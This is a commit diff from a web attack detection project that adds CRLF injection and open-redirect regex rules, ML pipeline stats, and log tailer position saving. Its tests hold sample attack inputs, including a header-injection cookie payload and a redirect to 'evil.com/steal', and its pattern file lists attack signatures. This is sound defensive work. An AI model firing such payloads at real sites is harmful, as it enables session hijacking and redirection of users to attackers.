RomanNum3ral
/
Cybersecurity-Projects
mirror of https://github.com/CarterPerez-dev/Cybersecurity-Projects.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

chore complete + add pre commit chnages

This commit is contained in:
CarterPerez-dev 2026-04-19 18:54:08 -04:00
parent b6f75db1a7
commit dc6567ae25
50 changed files with 6007 additions and 282 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
PROJECTS/advanced/ai-threat-detection/backend/app/api/health.py
View File

@ -5,8 +5,10 @@ health.py
Health and readiness probe endpoints for container
orchestration
GET /health returns liveness status with uptime_seconds
and pipeline_running flag. GET /ready checks database
GET /health returns liveness status with uptime_seconds,
pipeline_running flag, and per-stage pipeline_stats
counters (parsed/enriched/scored/dispatched with error
counts). GET /ready checks database
connectivity (SELECT 1) and Redis ping, reports
models_loaded status, and returns 503 if any dependency
is down. Both endpoints read from app.state set during
@ -34,10 +36,12 @@ async def health(request: Request) -> dict[str, object]:
Liveness probe — returns 200 if the process is alive.
"""
uptime = time.monotonic() - request.app.state.startup_time
pipeline = getattr(request.app.state, "pipeline", None)
return {
"status": "healthy",
"uptime_seconds": round(uptime, 2),
"pipeline_running": request.app.state.pipeline_running,
"pipeline_stats": pipeline.stats if pipeline else {},
}

256
PROJECTS/advanced/ai-threat-detection/backend/app/api/models_api.py
View File

@ -6,14 +6,16 @@ ML model status and retraining endpoints
GET /models/status returns models_loaded flag, detection
_mode (hybrid or rules), and active model metadata from
the database. POST /models/retrain dispatches a
the database. POST /models/retrain acquires _retrain_lock
(returning 409 if already running), dispatches a
background retraining job that loads stored ThreatEvents,
labels them using review_label or score thresholds
(SCORE_ATTACK_THRESHOLD 0.5, SCORE_NORMAL_CEILING 0.3),
supplements with synthetic data if below MIN_TRAINING_
SAMPLES (200), runs TrainingOrchestrator, and writes
model metadata. _fallback_synthetic spawns a subprocess
CLI train command when no real events exist
CLI train command with lifecycle tracking via
_synthetic_process
Connects to:
config.py - settings.model_dir, ensemble
@ -25,10 +27,13 @@ Connects to:
cli/main - _write_metadata
"""
import asyncio
import logging
import subprocess
import uuid
from fastapi import APIRouter, BackgroundTasks, Request
from fastapi import APIRouter, BackgroundTasks, Request, Response
from fastapi.responses import JSONResponse
from sqlalchemy import func, select
from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker
@ -46,6 +51,9 @@ MIN_TRAINING_SAMPLES = 200
SYNTHETIC_SUPPLEMENT_NORMAL = 500
SYNTHETIC_SUPPLEMENT_ATTACK = 250
_retrain_lock = asyncio.Lock()
_synthetic_process: subprocess.Popen[bytes] | None = None
@router.get("/status")
async def model_status(request: Request) -> dict[str, object]:
@ -68,15 +76,21 @@ async def model_status(request: Request) -> dict[str, object]:
}
@router.post("/retrain", status_code=202)
@router.post("/retrain", status_code=202, response_model=None)
async def retrain(
request: Request,
background_tasks: BackgroundTasks,
) -> dict[str, object]:
) -> dict[str, object] | Response:
"""
Dispatch a model retraining job using real stored
threat events supplemented with synthetic data
"""
if _retrain_lock.locked():
return JSONResponse(
status_code=409,
content={"status": "conflict", "job_id": ""},
)
session_factory = getattr(request.app.state, "session_factory", None)
if session_factory is None:
return {"status": "error", "job_id": ""}
@ -99,7 +113,6 @@ async def _retrain_from_db(
supplement with synthetic data if needed, and run
the full training pipeline
"""
import asyncio
import dataclasses
from pathlib import Path
@ -107,109 +120,117 @@ async def _retrain_from_db(
from ml.orchestrator import TrainingOrchestrator
logger.info("Retrain job %s: loading stored events", job_id)
async with _retrain_lock:
logger.info("Retrain job %s: loading stored events", job_id)
async with session_factory() as session:
count = (await session.execute(
select(func.count()).select_from(ThreatEvent)
)).scalar_one()
async with session_factory() as session:
count = (await session.execute(
select(func.count()).select_from(ThreatEvent)
)).scalar_one()
if count == 0:
logger.warning(
"Retrain job %s: no stored events, using synthetic only",
if count == 0:
logger.warning(
"Retrain job %s: no stored events, "
"using synthetic only",
job_id,
)
_fallback_synthetic(job_id)
return
rows = (await session.execute(
select(ThreatEvent)
)).scalars().all()
vectors: list[list[float]] = []
labels: list[int] = []
for event in rows:
if not event.feature_vector:
continue
if event.reviewed and event.review_label:
label = (
1 if event.review_label == "true_positive"
else 0
)
elif event.threat_score >= SCORE_ATTACK_THRESHOLD:
label = 1
elif event.threat_score < SCORE_NORMAL_CEILING:
label = 0
else:
continue
vectors.append(event.feature_vector)
labels.append(label)
logger.info(
"Retrain job %s: %d usable events from DB "
"(normal=%d, attack=%d)",
job_id,
len(vectors),
labels.count(0),
labels.count(1),
)
from ml.synthetic import generate_mixed_dataset
if len(vectors) < MIN_TRAINING_SAMPLES:
syn_X, syn_y = generate_mixed_dataset(
SYNTHETIC_SUPPLEMENT_NORMAL,
SYNTHETIC_SUPPLEMENT_ATTACK,
)
X = np.concatenate([
np.array(vectors, dtype=np.float32),
syn_X,
]) if vectors else syn_X
y = np.concatenate([
np.array(labels, dtype=np.int32),
syn_y,
]) if labels else syn_y
logger.info(
"Retrain job %s: supplemented with "
"%d synthetic samples",
job_id,
len(syn_X),
)
else:
X = np.array(vectors, dtype=np.float32)
y = np.array(labels, dtype=np.int32)
output_dir = Path(settings.model_dir)
loop = asyncio.get_running_loop()
result = await loop.run_in_executor(
None,
lambda: TrainingOrchestrator(
output_dir=output_dir,
).run(X, y),
)
logger.info(
"Retrain job %s complete: passed_gates=%s",
job_id,
result.passed_gates,
)
try:
from cli.main import _write_metadata
metrics: dict[str, object] = (
dataclasses.asdict(result.ensemble_metrics)
if result.ensemble_metrics else {}
)
await _write_metadata(
output_dir,
len(X),
metrics,
result.mlflow_run_id,
result.ae_metrics.get("ae_threshold"),
)
except Exception:
logger.exception(
"Retrain job %s: failed to write metadata",
job_id,
)
_fallback_synthetic(job_id)
return
rows = (await session.execute(
select(ThreatEvent)
)).scalars().all()
vectors: list[list[float]] = []
labels: list[int] = []
for event in rows:
if not event.feature_vector:
continue
if event.reviewed and event.review_label:
label = 1 if event.review_label == "true_positive" else 0
elif event.threat_score >= SCORE_ATTACK_THRESHOLD:
label = 1
elif event.threat_score < SCORE_NORMAL_CEILING:
label = 0
else:
continue
vectors.append(event.feature_vector)
labels.append(label)
logger.info(
"Retrain job %s: %d usable events from DB "
"(normal=%d, attack=%d)",
job_id,
len(vectors),
labels.count(0),
labels.count(1),
)
from ml.synthetic import generate_mixed_dataset
if len(vectors) < MIN_TRAINING_SAMPLES:
syn_X, syn_y = generate_mixed_dataset(
SYNTHETIC_SUPPLEMENT_NORMAL,
SYNTHETIC_SUPPLEMENT_ATTACK,
)
X = np.concatenate([
np.array(vectors, dtype=np.float32),
syn_X,
]) if vectors else syn_X
y = np.concatenate([
np.array(labels, dtype=np.int32),
syn_y,
]) if labels else syn_y
logger.info(
"Retrain job %s: supplemented with %d synthetic samples",
job_id,
len(syn_X),
)
else:
X = np.array(vectors, dtype=np.float32)
y = np.array(labels, dtype=np.int32)
output_dir = Path(settings.model_dir)
loop = asyncio.get_running_loop()
result = await loop.run_in_executor(
None,
lambda: TrainingOrchestrator(output_dir=output_dir).run(X, y),
)
logger.info(
"Retrain job %s complete: passed_gates=%s",
job_id,
result.passed_gates,
)
try:
from cli.main import _write_metadata
metrics: dict[str, object] = (
dataclasses.asdict(result.ensemble_metrics)
if result.ensemble_metrics else {}
)
await _write_metadata(
output_dir,
len(X),
metrics,
result.mlflow_run_id,
result.ae_metrics.get("ae_threshold"),
)
except Exception:
logger.exception(
"Retrain job %s: failed to write metadata",
job_id,
)
def _fallback_synthetic(job_id: str) -> None:
@ -217,11 +238,30 @@ def _fallback_synthetic(job_id: str) -> None:
Run training with synthetic data only when no real
events exist
"""
import subprocess
global _synthetic_process # noqa: PLW0603
import sys
logger.info("Retrain job %s: falling back to synthetic training", job_id)
subprocess.Popen(
if _synthetic_process is not None:
if _synthetic_process.poll() is None:
logger.info(
"Retrain job %s: synthetic training already "
"running (pid=%d)",
job_id,
_synthetic_process.pid,
)
return
rc = _synthetic_process.returncode
if rc != 0:
logger.warning(
"Previous synthetic training exited with %d",
rc,
)
logger.info(
"Retrain job %s: falling back to synthetic training",
job_id,
)
_synthetic_process = subprocess.Popen(
[
sys.executable,
"-m",

24
PROJECTS/advanced/ai-threat-detection/backend/app/config.py
View File

@ -13,8 +13,9 @@ database path, nginx log path, pipeline queue sizes
settings (size 32, timeout 50ms), and ML configuration
(model_dir, detection_mode, ensemble weights for
autoencoder/random-forest/isolation-forest at 0.40/0.40
/0.20, ae_threshold_percentile 99.5, MLflow tracking
URI). Exports a module-level singleton settings instance
/0.20 with model_validator enforcing sum-to-1.0,
ae_threshold_percentile 99.5, MLflow tracking URI).
Exports a module-level singleton settings instance
Connects to:
factory.py - consumed in lifespan and create_app
@ -24,6 +25,9 @@ Connects to:
core/enrichment/ - geoip_db_path
"""
from typing import Self
from pydantic import model_validator
from pydantic_settings import BaseSettings, SettingsConfigDict
@ -70,5 +74,21 @@ class Settings(BaseSettings):
ae_threshold_percentile: float = 99.5
mlflow_tracking_uri: str = "file:./mlruns"
@model_validator(mode="after")
def _check_ensemble_weights(self) -> Self:
"""
Validate that ensemble weights sum to 1.0
"""
total = (
self.ensemble_weight_ae
+ self.ensemble_weight_rf
+ self.ensemble_weight_if
)
if abs(total - 1.0) > 1e-6:
raise ValueError(
f"Ensemble weights must sum to 1.0, got {total:.6f}"
)
return self
settings = Settings()

5
PROJECTS/advanced/ai-threat-detection/backend/app/core/alerts/dispatcher.py
View File

@ -104,6 +104,9 @@ class AlertDispatcher:
request_path=scored.entry.path,
threat_score=scored.final_score,
severity=severity,
component_scores=scored.rule_result.component_scores,
component_scores={
**scored.rule_result.component_scores,
**(scored.ml_scores or {}),
},
)
await self._redis.publish(ALERTS_CHANNEL, alert.model_dump_json())

14
PROJECTS/advanced/ai-threat-detection/backend/app/core/detection/inference.py
View File

@ -31,6 +31,8 @@ from typing import Any
import numpy as np
from app.core.features.mappings import FEATURE_ORDER
try:
import onnxruntime as ort
except ImportError:
@ -88,6 +90,18 @@ class InferenceEngine:
self._if_session = ort.InferenceSession(str(if_path), opts)
scaler_data = json.loads(scaler_path.read_text())
stored_names = scaler_data.get("feature_names")
if (
stored_names is not None
and stored_names != list(FEATURE_ORDER)
):
logger.error(
"Feature ordering mismatch in %s",
scaler_path,
)
return
self._scaler_center = np.array(scaler_data["center"],
dtype=np.float32)
self._scaler_scale = np.array(scaler_data["scale"],

12
PROJECTS/advanced/ai-threat-detection/backend/app/core/detection/rules.py
View File

@ -5,10 +5,11 @@ rules.py
Cold-start rule-based detection engine inspired by
ModSecurity Core Rule Set
RuleEngine.score_request evaluates requests against 7
RuleEngine.score_request evaluates requests against 9
regex-based _PatternRules (LOG4SHELL 0.95, COMMAND_
INJECTION 0.90, SQL_INJECTION 0.85, XSS 0.80, FILE_
INCLUSION 0.75, SSRF 0.70, PATH_TRAVERSAL 0.60),
INCLUSION 0.75, SSRF 0.70, CRLF_INJECTION 0.65,
PATH_TRAVERSAL 0.60, OPEN_REDIRECT 0.55),
double-encoding detection (0.40), scanner user-agent
signature matching (0.35), and 2 _ThresholdRules
(RATE_ANOMALY >100 req/min 0.30, HIGH_ERROR_RATE >50%
@ -20,7 +21,8 @@ and component_scores
Connects to:
core/features/
patterns - compiled regex patterns (SQLI,
XSS, LOG4SHELL, etc.)
XSS, LOG4SHELL, CRLF_INJECTION,
OPEN_REDIRECT, etc.)
core/features/
signatures - SCANNER_USER_AGENTS list
core/detection/
@ -35,9 +37,11 @@ from typing import NamedTuple
from app.core.features.patterns import (
COMMAND_INJECTION,
CRLF_INJECTION,
DOUBLE_ENCODED,
FILE_INCLUSION,
LOG4SHELL,
OPEN_REDIRECT,
PATH_TRAVERSAL,
SQLI,
SSRF,
@ -77,6 +81,8 @@ _PATTERN_RULES: list[_PatternRule] = [
_PatternRule("FILE_INCLUSION", FILE_INCLUSION, 0.75),
_PatternRule("SSRF", SSRF, 0.70),
_PatternRule("PATH_TRAVERSAL", PATH_TRAVERSAL, 0.60),
_PatternRule("CRLF_INJECTION", CRLF_INJECTION, 0.65),
_PatternRule("OPEN_REDIRECT", OPEN_REDIRECT, 0.55),
]
_THRESHOLD_RULES: list[_ThresholdRule] = [

20
PROJECTS/advanced/ai-threat-detection/backend/app/core/features/patterns.py
View File

@ -3,7 +3,7 @@
patterns.py
Compiled regex patterns for web attack detection covering
7 OWASP categories plus encoding anomalies
9 OWASP categories plus encoding anomalies
Defines case-insensitive compiled patterns for: SQLI
(union select, sleep, benchmark, information_schema, hex
@ -17,9 +17,10 @@ backtick substitution, ${} expansion), FILE_INCLUSION
(php://, file://, data://, phar:// wrapper schemes), SSRF
(cloud metadata IPs 169.254.169.254, localhost with paths,
dict:// and gopher://), LOG4SHELL (${jndi, ${lower, ${:-
patterns). Also provides ENCODED_CHARS, DOUBLE_ENCODED for
evasion detection, and ATTACK_COMBINED unioning all 7
patterns
patterns), CRLF_INJECTION (%0d%0a sequences, bare CR/LF),
OPEN_REDIRECT (redirect params pointing to external URLs).
Also provides ENCODED_CHARS, DOUBLE_ENCODED for evasion
detection, and ATTACK_COMBINED unioning all 9 patterns
Connects to:
core/features/
@ -115,6 +116,14 @@ _SSRF = (
_LOG4SHELL = r"(?:\$\{(?:j(?:ndi|ava)|lower|upper|:-|:\+|#))"
_CRLF_INJECTION = r"(?:%0[dD]%0[aA]|%0[dD]|%0[aA]|\\r\\n)"
_OPEN_REDIRECT = (
r"(?:(?:redirect|return|next|url|rurl|dest|destination|redir|"
r"redirect_uri|return_to|checkout_url|continue|return_path)"
r"\s*=\s*(?:https?://|//|\\\\)[^\s&]*)"
)
SQLI = re.compile(_SQLI, re.IGNORECASE)
XSS = re.compile(_XSS, re.IGNORECASE)
PATH_TRAVERSAL = re.compile(_PATH_TRAVERSAL, re.IGNORECASE)
@ -122,11 +131,14 @@ COMMAND_INJECTION = re.compile(_COMMAND_INJECTION, re.IGNORECASE)
FILE_INCLUSION = re.compile(_FILE_INCLUSION, re.IGNORECASE)
SSRF = re.compile(_SSRF, re.IGNORECASE)
LOG4SHELL = re.compile(_LOG4SHELL, re.IGNORECASE)
CRLF_INJECTION = re.compile(_CRLF_INJECTION, re.IGNORECASE)
OPEN_REDIRECT = re.compile(_OPEN_REDIRECT, re.IGNORECASE)
ATTACK_COMBINED = re.compile(
r"|".join((
_SQLI, _XSS, _PATH_TRAVERSAL, _COMMAND_INJECTION,
_FILE_INCLUSION, _SSRF, _LOG4SHELL,
_CRLF_INJECTION, _OPEN_REDIRECT,
)),
re.IGNORECASE,
)

48
PROJECTS/advanced/ai-threat-detection/backend/app/core/ingestion/pipeline.py
View File

@ -13,11 +13,13 @@ WindowAggregator, and encodes the merged 35-dim float
vector. Stage 3 (_detection_worker): scores via RuleEngine,
optionally runs ML ensemble inference (normalize AE/IF
scores, fuse with configurable weights, blend with rule
score at 0.7 ML weight). Stage 4 (_dispatch_worker):
forwards ScoredRequests via the on_result callback. Stages
are connected by sized asyncio.Queues with poison-pill
shutdown propagation. EnrichedRequest and ScoredRequest
dataclasses carry data between stages
score at 0.7 ML weight), and persists per-model ML scores
on ScoredRequest for downstream observability. Stage 4
(_dispatch_worker): forwards ScoredRequests via the
on_result callback. Stages are connected by sized
asyncio.Queues with poison-pill shutdown propagation.
EnrichedRequest and ScoredRequest dataclasses carry data
between stages
Connects to:
core/ingestion/parsers - parse_combined
@ -95,6 +97,7 @@ class ScoredRequest:
rule_result: RuleResult
final_score: float = 0.0
detection_mode: str = "rules"
ml_scores: dict[str, float] | None = None
class Pipeline:
@ -138,6 +141,23 @@ class Pipeline:
self._inference_engine = inference_engine
self._ensemble_weights = ensemble_weights or DEFAULT_ENSEMBLE_WEIGHTS
self._tasks: list[asyncio.Task[None]] = []
self._stats: dict[str, int] = {
"parsed": 0,
"parse_errors": 0,
"enriched": 0,
"enrich_errors": 0,
"scored": 0,
"score_errors": 0,
"dispatched": 0,
"dispatch_errors": 0,
}
@property
def stats(self) -> dict[str, int]:
"""
Return a snapshot of per-stage processed/error counters
"""
return dict(self._stats)
async def start(self) -> None:
"""
@ -174,7 +194,9 @@ class Pipeline:
entry = parse_combined(line)
if entry is not None:
await self._parsed_queue.put(entry)
self._stats["parsed"] += 1
except Exception:
self._stats["parse_errors"] += 1
logger.exception("Parse error")
self.raw_queue.task_done()
@ -222,7 +244,9 @@ class Pipeline:
feature_vector=vector,
geo=geo,
))
self._stats["enriched"] += 1
except Exception:
self._stats["enrich_errors"] += 1
logger.exception(
"Feature extraction failed for %s",
entry.ip,
@ -248,14 +272,17 @@ class Pipeline:
final_score = rule_result.threat_score
detection_mode = "rules"
per_model_scores: dict[str, float] | None = None
if (self._inference_engine is not None
and self._inference_engine.is_loaded
and np is not None):
ml_scores = self._score_with_ml(enriched.feature_vector)
if ml_scores is not None:
per_model_scores = self._score_with_ml(
enriched.feature_vector,
)
if per_model_scores is not None:
ml_fused = fuse_scores(
ml_scores,
per_model_scores,
self._ensemble_weights,
)
final_score = blend_scores(
@ -273,8 +300,11 @@ class Pipeline:
rule_result=rule_result,
final_score=final_score,
detection_mode=detection_mode,
ml_scores=per_model_scores,
))
self._stats["scored"] += 1
except Exception:
self._stats["score_errors"] += 1
logger.exception("Detection failed")
self._feature_queue.task_done()
@ -314,7 +344,9 @@ class Pipeline:
try:
if self._on_result is not None:
await self._on_result(scored)
self._stats["dispatched"] += 1
except Exception:
self._stats["dispatch_errors"] += 1
logger.exception(
"Dispatch failed for %s",
scored.entry.ip,

105
PROJECTS/advanced/ai-threat-detection/backend/app/core/ingestion/tailer.py
View File

@ -3,18 +3,22 @@
tailer.py
Watchdog-based nginx log file tailer with rotation
detection pushing raw lines into an asyncio queue
detection and position persistence pushing raw lines
into an asyncio queue
_LogHandler extends FileSystemEventHandler to tail a single
target file: _open_target seeks to EOF, on_modified reads
new lines via _read_new_lines and checks inode changes for
rotation, on_moved handles rename-based rotation (access
.log -> access.log.1), on_created handles new-file
rotation. Lines are pushed via call_soon_threadsafe into
the asyncio queue, with QueueFull drops logged. LogTailer
wraps _LogHandler with a PollingObserver (2s interval)
watching the target's parent directory, providing start/
stop lifecycle and is_active property
target file: _open_target restores position from a JSON
position file (inode + offset) if available, otherwise
seeks to EOF. on_modified reads new lines via
_read_new_lines and checks inode changes for rotation,
on_moved handles rename-based rotation (access.log ->
access.log.1), on_created handles new-file rotation.
_save_position persists the current inode and file offset
after each batch of reads. Lines are pushed via
call_soon_threadsafe into the asyncio queue, with QueueFull
drops logged. LogTailer wraps _LogHandler with a
PollingObserver (2s interval) watching the target's parent
directory, providing start/stop lifecycle and is_active
Connects to:
factory.py - started/stopped in lifespan
@ -24,6 +28,7 @@ Connects to:
"""
import asyncio
import json
import logging
import os
from io import TextIOWrapper
@ -51,6 +56,7 @@ class _LogHandler(FileSystemEventHandler):
target: str,
queue: asyncio.Queue[str | None],
loop: asyncio.AbstractEventLoop,
position_path: Path | None = None,
) -> None:
super().__init__()
self._target = target
@ -58,24 +64,84 @@ class _LogHandler(FileSystemEventHandler):
self._loop = loop
self._file: TextIOWrapper | None = None
self._inode: int | None = None
self._position_path = position_path
self._open_target()
def _open_target(self) -> None:
"""
Open the target log file and seek to the end.
Open the target log file, restoring saved position
if the inode matches, otherwise seeking to EOF
"""
try:
self._file = open( # noqa: SIM115
self._target, encoding="utf-8", errors="replace")
self._file.seek(0, os.SEEK_END)
self._inode = os.stat(self._target).st_ino
logger.info("Tailing %s (inode %s)", self._target, self._inode)
saved = self._load_position()
if (
saved is not None
and saved["inode"] == self._inode
):
self._file.seek(saved["offset"])
logger.info(
"Tailing %s (inode %s) resumed at offset %d",
self._target,
self._inode,
saved["offset"],
)
else:
self._file.seek(0, os.SEEK_END)
logger.info(
"Tailing %s (inode %s) from EOF",
self._target,
self._inode,
)
except FileNotFoundError:
logger.warning("Log file %s not found — waiting for creation",
self._target)
logger.warning(
"Log file %s not found — waiting for creation",
self._target,
)
self._file = None
self._inode = None
def _load_position(self) -> dict[str, int] | None:
"""
Read saved (inode, offset) from the position file
"""
if self._position_path is None:
return None
try:
data = json.loads(
self._position_path.read_text(encoding="utf-8"),
)
return {
"inode": data["inode"],
"offset": data["offset"],
}
except (FileNotFoundError, KeyError, json.JSONDecodeError):
return None
def _save_position(self) -> None:
"""
Persist current inode and file offset to disk
"""
if (
self._position_path is None
or self._file is None
or self._inode is None
):
return
try:
self._position_path.write_text(
json.dumps({
"inode": self._inode,
"offset": self._file.tell(),
}),
encoding="utf-8",
)
except OSError:
logger.debug("Failed to save tailer position")
def _enqueue(self, line: str) -> None:
"""
Push one line into the queue, logging drops on full queue
@ -87,7 +153,7 @@ class _LogHandler(FileSystemEventHandler):
def _read_new_lines(self) -> None:
"""
Read all new complete lines from the current file position.
Read all new complete lines from the current file position
"""
if self._file is None:
return
@ -97,6 +163,8 @@ class _LogHandler(FileSystemEventHandler):
if stripped:
self._loop.call_soon_threadsafe(self._enqueue, stripped)
self._save_position()
def _handle_rotation(self) -> None:
"""
Finish reading the old file, then reopen the target at position 0.
@ -188,9 +256,12 @@ class LogTailer:
log_path: str,
queue: asyncio.Queue[str | None],
loop: asyncio.AbstractEventLoop,
position_path: Path | None = None,
) -> None:
self._log_path = log_path
self._handler = _LogHandler(log_path, queue, loop)
self._handler = _LogHandler(
log_path, queue, loop, position_path,
)
self._observer = PollingObserver(timeout=2)
self._started = False

8
PROJECTS/advanced/ai-threat-detection/backend/app/factory.py
View File

@ -119,7 +119,13 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
log_dir = Path(settings.nginx_log_path).resolve().parent
if log_dir.is_dir():
loop = asyncio.get_running_loop()
tailer = LogTailer(settings.nginx_log_path, pipeline.raw_queue, loop)
position_path = Path(settings.model_dir) / ".tailer_pos.json"
tailer = LogTailer(
settings.nginx_log_path,
pipeline.raw_queue,
loop,
position_path=position_path,
)
tailer.start()
else:
logger.warning("Log directory %s not found — tailer disabled", log_dir)

5
PROJECTS/advanced/ai-threat-detection/backend/app/services/threat_service.py
View File

@ -151,7 +151,10 @@ async def create_threat_event(
user_agent=scored.entry.user_agent,
threat_score=scored.final_score,
severity=classify_severity(scored.final_score),
component_scores=scored.rule_result.component_scores,
component_scores={
**scored.rule_result.component_scores,
**(scored.ml_scores or {}),
},
geo_country=(scored.geo.country if scored.geo else None),
geo_city=(scored.geo.city if scored.geo else None),
geo_lat=(scored.geo.lat if scored.geo else None),

BIN
PROJECTS/advanced/ai-threat-detection/backend/data/models/ae.onnx Normal file
View File

Binary file not shown.

BIN
PROJECTS/advanced/ai-threat-detection/backend/data/models/ae.onnx.data Normal file
View File

Binary file not shown.

BIN
PROJECTS/advanced/ai-threat-detection/backend/data/models/if.onnx Normal file
View File

Binary file not shown.

BIN
PROJECTS/advanced/ai-threat-detection/backend/data/models/rf.onnx Normal file
View File

Binary file not shown.

114
PROJECTS/advanced/ai-threat-detection/backend/data/models/scaler.json Normal file
View File

@ -0,0 +1,114 @@
{
"center": [
1.0,
1.0,
3.057476043701172,
12.0,
0.0,
0.0,
0.0,
0.0,
200.0,
2.0,
24034.5,
11.5,
6.0,
1.0,
114.0,
5.101086616516113,
0.0,
0.0,
0.0,
0.1818181872367859,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0
],
"scale": [
1.0,
2.0,
0.8716020584106445,
9.0,
6.0,
1.0,
1.0,
1.0,
101.0,
1.0,
22906.75,
12.75,
1.0,
1.0,
45.0,
0.3695187568664551,
1.0,
1.0,
1.0,
0.06043955683708191,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0
],
"n_features": 35,
"feature_names": [
"http_method",
"path_depth",
"path_entropy",
"path_length",
"query_string_length",
"query_param_count",
"has_encoded_chars",
"has_double_encoding",
"status_code",
"status_class",
"response_size",
"hour_of_day",
"day_of_week",
"is_weekend",
"ua_length",
"ua_entropy",
"is_known_bot",
"is_known_scanner",
"has_attack_pattern",
"special_char_ratio",
"file_extension",
"country_code",
"is_private_ip",
"req_count_1m",
"req_count_5m",
"req_count_10m",
"error_rate_5m",
"unique_paths_5m",
"unique_uas_10m",
"method_entropy_5m",
"avg_response_size_5m",
"status_diversity_5m",
"path_depth_variance_5m",
"inter_request_time_mean",
"inter_request_time_std"
]
}

3
PROJECTS/advanced/ai-threat-detection/backend/data/models/threshold.json Normal file
View File

@ -0,0 +1,3 @@
{
"threshold": 0.9133416414260864
}

7
PROJECTS/advanced/ai-threat-detection/backend/ml/orchestrator.py
View File

@ -51,6 +51,8 @@ from ml.train_classifiers import (
)
from ml.validation import ValidationResult, validate_ensemble
from app.core.features.mappings import FEATURE_ORDER
logger = logging.getLogger(__name__)
N_FEATURES = 35
@ -240,7 +242,10 @@ class TrainingOrchestrator:
ae_result["model"],
self._output_dir / AE_FILENAME,
)
ae_result["scaler"].save_json(self._output_dir / SCALER_FILENAME)
ae_result["scaler"].save_json(
self._output_dir / SCALER_FILENAME,
feature_names=list(FEATURE_ORDER),
)
threshold_data = {"threshold": ae_result["threshold"]}
(self._output_dir / THRESHOLD_FILENAME).write_text(
json.dumps(threshold_data, indent=2))

36
PROJECTS/advanced/ai-threat-detection/backend/ml/scaler.py
View File

@ -9,9 +9,11 @@ FeatureScaler wraps sklearn RobustScaler (median/IQR
normalization) to handle outlier-heavy HTTP traffic data.
Provides fit, transform, fit_transform, and
inverse_transform mirroring the sklearn API. save_json
serializes center and scale arrays to a human-readable
JSON file (avoiding pickle for security and portability),
and load_json reconstructs a fitted scaler from that file.
serializes center, scale arrays, and optional feature_names
to a human-readable JSON file (avoiding pickle for security
and portability), and load_json reconstructs a fitted
scaler from that file with optional feature ordering
validation against expected_feature_names.
Only the autoencoder uses this scaler since tree-based
models (random forest, isolation forest) are
scale-invariant
@ -84,25 +86,47 @@ class FeatureScaler:
self.fit(X)
return self.transform(X)
def save_json(self, path: Path | str) -> None:
def save_json(
self,
path: Path | str,
feature_names: list[str] | None = None,
) -> None:
"""
Serialize scaler parameters to a human-readable JSON file.
"""
if not self._fitted or self._scaler is None:
raise RuntimeError("Scaler has not been fitted")
data = {
data: dict[str, object] = {
"center": self._scaler.center_.tolist(),
"scale": self._scaler.scale_.tolist(),
"n_features": int(self._scaler.n_features_in_),
}
if feature_names is not None:
data["feature_names"] = feature_names
Path(path).write_text(json.dumps(data, indent=2), encoding="utf-8")
@classmethod
def load_json(cls, path: Path | str) -> FeatureScaler:
def load_json(
cls,
path: Path | str,
expected_feature_names: list[str] | None = None,
) -> FeatureScaler:
"""
Reconstruct a fitted scaler from a JSON file.
"""
data = json.loads(Path(path).read_text(encoding="utf-8"))
stored_names = data.get("feature_names")
if (
expected_feature_names is not None
and stored_names is not None
and stored_names != expected_feature_names
):
raise ValueError(
"Feature ordering mismatch between trained "
"scaler and current FEATURE_ORDER"
)
scaler = cls()
scaler._scaler = RobustScaler()
scaler._scaler.center_ = np.array(data["center"], dtype=np.float64)

1
PROJECTS/advanced/ai-threat-detection/backend/tests/conftest.py
View File

@ -99,6 +99,7 @@ async def db_client(db_engine) -> AsyncIterator[AsyncClient]:
await session.commit()
test_app.dependency_overrides[get_session] = override_get_session
test_app.state.session_factory = factory
transport = ASGITransport(app=test_app)
async with AsyncClient(transport=transport,

31
PROJECTS/advanced/ai-threat-detection/backend/tests/test_detection.py
View File

@ -15,8 +15,9 @@ rules aggregate to higher scores, scores are clamped to
[0, 1], severity thresholds align with architecture
(LOW < 0.5, MEDIUM >= 0.5, HIGH >= 0.7), component_scores
match matched_rules, FILE_INCLUSION detects PHP stream
wrappers, and DOUBLE_ENCODING detects %25-prefixed
sequences
wrappers, DOUBLE_ENCODING detects %25-prefixed sequences,
CRLF_INJECTION detects %0d%0a header injection, and
OPEN_REDIRECT detects redirect params to external URLs
Connects to:
core/detection/rules - RuleEngine
@ -252,3 +253,29 @@ def test_double_encoding() -> None:
entry = _make_entry(path="/path%2527trick")
result = ENGINE.score_request(_empty_windowed(), entry)
assert "DOUBLE_ENCODING" in result.matched_rules
def test_crlf_injection() -> None:
"""
CRLF sequences in the URI trigger the CRLF_INJECTION rule
"""
entry = _make_entry(
path="/api/v1/users",
query_string="name=admin%0d%0aSet-Cookie:session=hijacked",
)
result = ENGINE.score_request(_empty_windowed(), entry)
assert "CRLF_INJECTION" in result.matched_rules
assert result.threat_score >= 0.5
def test_open_redirect() -> None:
"""
Redirect parameter pointing to an external URL triggers OPEN_REDIRECT
"""
entry = _make_entry(
path="/login",
query_string="redirect_uri=https://evil.com/steal",
)
result = ENGINE.score_request(_empty_windowed(), entry)
assert "OPEN_REDIRECT" in result.matched_rules
assert result.threat_score >= 0.5

18
PROJECTS/advanced/ai-threat-detection/frontend/src/App.tsx
View File

@ -7,8 +7,8 @@
// Wraps the application in QueryClientProvider (TanStack
// React Query), provides the browser router via
// RouterProvider, renders a dark-themed Sonner toast
// container at top-right, and includes ReactQueryDevtools
// in development mode
// container at top-right styled by toast.scss design tokens,
// and includes ReactQueryDevtools in development mode
// ===================
import { QueryClientProvider } from '@tanstack/react-query'
@ -18,24 +18,14 @@ import { Toaster } from 'sonner'
import { queryClient } from '@/core/api'
import { router } from '@/core/app/routers'
import '@/core/app/toast.scss'
export default function App(): React.ReactElement {
return (
<QueryClientProvider client={queryClient}>
<div className="app">
<RouterProvider router={router} />
<Toaster
position="top-right"
duration={2000}
theme="dark"
toastOptions={{
style: {
background: 'hsl(0, 0%, 12.2%)',
border: '1px solid hsl(0, 0%, 18%)',
color: 'hsl(0, 0%, 98%)',
},
}}
/>
<Toaster position="top-right" duration={2000} theme="dark" />
</div>
<ReactQueryDevtools initialIsOpen={false} />
